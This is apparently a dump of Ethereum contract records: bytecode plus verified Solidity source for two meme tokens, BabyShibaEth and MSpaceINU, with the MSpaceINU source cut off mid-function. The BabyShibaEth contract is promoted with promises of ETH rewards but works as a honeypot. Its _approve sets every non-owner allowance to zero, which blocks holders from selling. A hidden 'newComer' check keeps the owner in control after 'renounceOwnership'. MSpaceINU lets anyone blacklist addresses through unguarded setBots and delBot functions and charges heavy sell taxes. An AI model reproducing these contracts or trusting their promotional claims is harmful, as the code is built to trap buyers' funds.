copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE.
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80637ae2b5c7116100b8578063beabacc81161007c578063beabacc81461030c578063d54b10e31461031f578063d635f2ee14610332578063d7a2729a14610352578063f09a40161461035b578063fc0c546a1461036e57600080fd5b80637ae2b5c714610269578063872342371461027c5780638e51d624146102c55780638fd066e0146102d8578063b0a05a2e146102e157600080fd5b80632e1a7d4d1161010a5780632e1a7d4d146101d257806330172892146101e55780633e90af50146101f857806347e7ef241461021f5780636d5433e6146102325780637709bc781461024557600080fd5b8063145ccb0f1461014757806316a398f71461015c578063187adf2e1461018257806325fc2ccf146101aa57806327e235e3146101b2575b600080fd5b61015a610155366004610e51565b610381565b005b61016f61016a366004610e86565b6104ac565b6040519081526020015b60405180910390f35b610195610190366004610ea1565b61050c565b60408051928352602083019190915201610179565b61016f606481565b61016f6101c0366004610e86565b60046020526000908152604090205481565b61015a6101e0366004610e51565b61052e565b61015a6101f3366004610ec3565b61053c565b610195610206366004610e86565b6005602052600090815260409020805460019091015482565b61015a61022d366004610eef565b61054b565b61016f610240366004610ea1565b6107a1565b610259610253366004610e86565b3b151590565b6040519015158152602001610179565b61016f610277366004610ea1565b6107b7565b6102b86040518060400160405280601a81526020017f19457468657265756d205369676e6564204d6573736167653a0a00000000000081525081565b6040516101799190610f19565b61016f6102d3366004610ea1565b6107cc565b61016f60065481565b6002546102f4906001600160a01b031681565b6040516001600160a01b039091168152602001610179565b61025961031a366004610f6e565b6107eb565b6001546102f4906001600160a01b031681565b61016f610340366004610e86565b60036020526000908152604090205481565b61016f60075481565b61015a610369366004610faa565b61098b565b6000546102f4906001600160a01b031681565b600081116103c95760405162461bcd60e51b815260206004820152601060248201526f7769746864726177696e67207a65726f60801b60448201526064015b60405180910390fd5b3360009081526004602052604090205481111561041f5760405162461bcd60e51b81526020600482015260146024820152730eed2e8d0c8e4c2eed2dcce40e8dede40daeac6d60631b60448201526064016103c0565b604051806040016040528082815260200160644361043d9190610fea565b905233600081815260056020908152604080832085518155948201516001909501949094556004905291909120547f1d6ecaf99b9d2150d4774c1ea17e3a04631acbfe71d58d2e9c7abbbc4561e03990610498908490611002565b60405190815260200160405180910390a250565b6001600160a01b03811660009081526005602090815260408083206004909252822054815411156104e05750600092915050565b80546001600160a01b0384166000908152600460205260409020546105059190611002565b9392505050565b60008082841161051e57600084610523565b828403835b915091509250929050565b610539813333610b60565b50565b610547823383610b60565b5050565b6001600160a01b03821660009081526003602052604090205481116105ab5760405162461bcd60e51b81526020600482015260166024820152756465706f736974206e6f7420696e6372656173696e6760501b60448201526064016103c0565b6001600160a01b0382166000908152600360205260408120546105ce9083611002565b6001600160a01b0384166000908152600460205260408120805492935083929091906105fb908490610fea565b90915550506001600160a01b03831660009081526003602052604081208054839290610628908490610fea565b909155505060065461063a8282610fea565b101561067e5760405162461bcd60e51b81526020600482015260136024820152721bdd995c999b1bddda5b99c819195c1bdcda5d606a1b60448201526064016103c0565b80600660008282546106909190610fea565b909155505060075460065411156106dc5760405162461bcd60e51b815260206004820152601060248201526f1d1bdbc81b5d58da0819195c1bdcda5d60821b60448201526064016103c0565b6000546040516323b872dd60e01b8152336004820152306024820152604481018390526001600160a01b03909116906323b872dd906064016020604051808303816000875af1158015610733573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107579190611019565b61079c5760405162461bcd60e51b81526020600482015260166024820152753a37b5b2b739903234b23713ba103a3930b739b332b960511b60448201526064016103c0565b505050565b60008183116107b05781610505565b5090919050565b60008183116107c65782610505565b50919050565b6000828201838110156107e1576000196107e3565b805b949350505050565b6001546000906001600160a01b031633148061081157506002546001600160a01b031633145b61084e5760405162461bcd60e51b815260206004820152600e60248201526d3ab735b737bbb71031b0b63632b960911b60448201526064016103c0565b826001600160a01b0316846001600160a01b031614156108a55760405162461bcd60e51b815260206004820152601260248201527139b2b73232b9101e9e903932b1b2b4bb32b960711b60448201526064016103c0565b6001600160a01b03841660009081526004602052604090205482118015906108cd5750600082115b15610981576001600160a01b038416600090815260046020526040812080548492906108fa908490611002565b90915550506001600160a01b03831660009081526004602052604081208054849290610927908490610fea565b90915550506001600160a01b0384166000818152600460209081526040918290205491519182527f2e9bf8d4a8402929da26de77a79494626b184ddae2e3e0c076d6dfa10cd2a1d9910160405180910390a2506001610505565b5060009392505050565b6001546001600160a01b03161580156109ad57506002546001600160a01b0316155b6109ef5760405162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b60448201526064016103c0565b6001600160a01b038216610a455760405162461bcd60e51b815260206004820152601b60248201527f4d5320636f6e74726163742061742061646472657373207a65726f000000000060448201526064016103c0565b813b610a935760405162461bcd60e51b815260206004820152601760248201527f4d5320636f6e747261637420686173206e6f20636f646500000000000000000060448201526064016103c0565b600180546001600160a01b0319166001600160a01b03848116919091179091558116610afa5760405162461bcd60e51b81526020600482015260166024820152754f6e65546f4e2061742061646472657373207a65726f60501b60448201526064016103c0565b803b610b3d5760405162461bcd60e51b81526020600482015260126024820152714f6e65546f4e20686173206e6f20636f646560701b60448201526064016103c0565b600280546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038116610bac5760405162461bcd60e51b815260206004820152601360248201527262656e6566696369617279206973207a65726f60681b60448201526064016103c0565b6001600160a01b03821660009081526005602052604090208054841115610c155760405162461bcd60e51b815260206004820152601d60248201527f7769746864726177696e67206d6f7265207468616e20706c616e6e656400000060448201526064016103c0565b4381600101541115610c615760405162461bcd60e51b81526020600482015260156024820152747769746864726177696e6720746f6f206561726c7960581b60448201526064016103c0565b6001600160a01b038316600090815260046020526040812054610c859086906107b7565b6001600160a01b038516600090815260046020526040812080549293508392909190610cb2908490611002565b9091555050600654610cc48282611002565b1115610d125760405162461bcd60e51b815260206004820152601a60248201527f756e646572666c6f7720696e2077686f6c655f62616c616e636500000000000060448201526064016103c0565b8060066000828254610d249190611002565b90915550506001600160a01b0384166000818152600460209081526040918290205491519182527f2e9bf8d4a8402929da26de77a79494626b184ddae2e3e0c076d6dfa10cd2a1d9910160405180910390a26001600160a01b038481166000908152600560205260408082208281556001018290559054905163a9059cbb60e01b815285831660048201526024810184905291169063a9059cbb906044016020604051808303816000875af1158015610de1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e059190611019565b610e4a5760405162461bcd60e51b81526020600482015260166024820152753a37b5b2b739903234b23713ba103a3930b739b332b960511b60448201526064016103c0565b5050505050565b600060208284031215610e6357600080fd5b5035919050565b80356001600160a01b0381168114610e8157600080fd5b919050565b600060208284031215610e9857600080fd5b61050582610e6a565b60008060408385031215610eb457600080fd5b50508035926020909101359150565b60008060408385031215610ed657600080fd5b82359150610ee660208401610e6a565b90509250929050565b60008060408385031215610f0257600080fd5b610f0b83610e6a565b946020939093013593505050565b600060208083528351808285015260005b81811015610f4657858101830151858201604001528201610f2a565b81811115610f58576000604083870101525b50601f01601f1916929092016040019392505050565b600080600060608486031215610f8357600080fd5b610f8c84610e6a565b9250610f9a60208501610e6a565b9150604084013590509250925092565b60008060408385031215610fbd57600080fd5b610fc683610e6a565b9150610ee660208401610e6a565b634e487b7160e01b600052601160045260246000fd5b60008219821115610ffd57610ffd610fd4565b500190565b60008282101561101457611014610fd4565b500390565b60006020828403121561102b57600080fd5b815180151581146107e157600080fdfea26469706673582212200f35c0136fdad3ddb5ae6565c7e059d79886eec0e893095d1b0b2a2118dcdfa064736f6c634300080a0033
{"success": true, "error": null, "results": {}}
3,185
0x3aa47afbc4f0e9b0c36c6255e462d06b6c05bf75
/** *Submitted for verification at Etherscan.io on 2021-08-03 */ /* You may wonder how you get $ETH without doing anything but hold ? You may thank the smart contract that use a new trending feature that will buy $BabyShibaEth and earn $ETH distributes it every 1 hours to all holder ✅ Name : BabyShibaEth ✅ Symbol : BabyShibaEth ✅ Supply : 1,000,000,000 Billion 🌟 Redward Shiba :5% 🌟 Redward Eth :5% 🌟 Back to Liquidity pool 3% 🌟 Marketing 2% 📲 SOCIAL MEDIA 📢 Telegram: https://t.me/BabyShibaEth 📢 Reddit : https://www.reddit.com/user/Baby_Shiba_Eth 📢 Twitter : https://twitter.com/BabyShibaEth 📢 Medium :https://medium.com/@babyshibaeth 🌏 Website :http://babyshibaeth.tech/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract BabyShibaEth is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**6 * 10**18; string private _name = 'BabyShibaEth'; string private _symbol = 'BabyShibaEth🐶 '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220dd9bf6446da5439059b4db197f168d425b19db5ee0673131e41941220ec9d4f364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,186
0xd881112a8d6f376969817186bc7b2cbb4242b869
/** */ //SPDX-License-Identifier: Unlicensed // Tg : https://t.me/mspaceinu // Website: http://mspaceinu.com/ // Twitter: https://mobile.twitter.com/MspaceInu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MSpaceINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "MSpace INU"; string private constant _symbol = "MSpaceINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = 80000000 * 10 ** 9; emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 4 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (4 hours) >= block.timestamp)) { _feeAddr1 = 13; _feeAddr2 = 28; } else { _feeAddr1 = 13; _feeAddr2 = 13; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 13; _feeAddr2 = 13; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); } function addLiquidity() public onlyOwner{ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = _rTotal; } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, 